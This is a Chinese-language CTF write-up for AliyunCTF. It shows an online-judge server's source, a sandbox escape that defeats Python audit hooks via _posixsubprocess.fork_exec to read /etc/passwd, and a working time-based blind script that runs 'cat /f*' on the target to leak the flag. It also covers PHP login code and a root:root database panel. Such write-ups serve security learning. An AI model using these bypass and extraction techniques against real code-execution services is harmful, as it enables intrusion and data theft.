AliyunCTF
ezoj
server.py
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
用之前 SUCTF 学到的一个_posixsubprocess
去绕 hook,这个和 python 版本有关系,一开始以为不行
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
print(f"审计事件: {event}, 参数: {args}")
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
try:
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"123", "/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1,-1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
except RuntimeError as e:
print(f"error")
本来想直接塞命令进去但是试了半天没成功,后来发现可以用 python 去写,不出网没回显,但注意到有一个超时的 TLE ,所以写时间盲注,就是这 flag 太长了,我这个脚本有点效率低下,第一次跑了一小时然后差一位,靶机忘续期了(
import requests
import string
charset = string.ascii_letters + string.digits + "{}_-"
url = "http://121.41.238.106:26721/api/submit"
flag = ""
for i in range(1, 50):
for char in charset:
data = {
"problem_id":"0","code":f"import os\nimport _posixsubprocess\n\n_posixsubprocess.fork_exec([\"abc\",\"-c\",\"import os;import time;flag=os.popen('cat /f*').read();'{char}'==flag[{i-1}] and time.sleep(5)\"], [b\"/bin/python3\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)\na, b = map(int, input().split())\nresult = a + b\nprint(result)"
}
try:
r = requests.post(url, json=data, timeout=6)
if r.json().get("status") == "TLE":
flag += char
print(f"Flag: {flag}",flush=True)
break
except requests.exceptions.Timeout:
flag += char
print(f"Timeout Found: {char} | Flag: {flag}",flush=True)
break
if flag.endswith("}"):
break
print("Final Flag:", flag)
打卡ok
莫名其妙的题目
路由后面加 ~ 可以看源码
index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="keywords" content="HTML5 Template">
<meta name="description" content="Forum - Responsive HTML5 Template">
<meta name="author" content="Forum">
<link rel="shortcut icon" href="favicon/favicon.ico">
<meta name="format-detection" content="telephone=no">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<main id="tt-pageContent" class="tt-offset-none">
<div class="container">
<div class="tt-loginpages-wrapper">
<div class="tt-loginpages">
<a href="index.html" class="tt-block-title">
<div class="tt-title">
登陆
</div>
</a>
<form class="form-default" method="post" action="./login.php">
<div class="form-group">
<label for="loginUserName">Username</label>
<input type="text" name="username" class="form-control" id="loginUserName" >
</div>
<div class="form-group">
<label for="loginUserPassword">Password</label>
<input type="password" name="password" class="form-control" id="loginUserPassword">
</div>
<div class="form-group">
<label for="code">code</label>
<input type="password" name="code" class="form-control">
</div>
<div class="form-group">
<button class="btn btn-secondary btn-block">Log in</button>
</div>
</form>
</div>
</div>
</div>
</main>
<script src="js/bundle.js"></script>
</body>
</html>
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
$username=addslashes($_POST['username']);
$password=$_POST['password'];
$code=$_POST['code'];
$endpass=md5($code.$password).':'.$code;
$sql = "select password from users where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if($endpass==$row['password']){
$_SESSION['login'] = 1;
$_SESSION['username'] = md5($username);
echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
}
}
} else {
echo "<script>alert(\"错误\");</script>";
die();
}
$conn->close();
}
?>
login.php
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
$username=addslashes($_POST['username']);
$password=$_POST['password'];
$code=$_POST['code'];
$endpass=md5($code.$password).':'.$code;
$sql = "select password from users where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if($endpass==$row['password']){
$_SESSION['login'] = 1;
$_SESSION['username'] = md5($username);
echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
}
}
} else {
echo "<script>alert(\"错误\");</script>";
die();
}
$conn->close();
}
?>
ok.php 里面直接写了个数据库管理的路由,发现能直接 root:root 登进去写命令
Offens1ve(赛后)
完全不会,VN 的师傅们太强了,如果后面有时间再学一下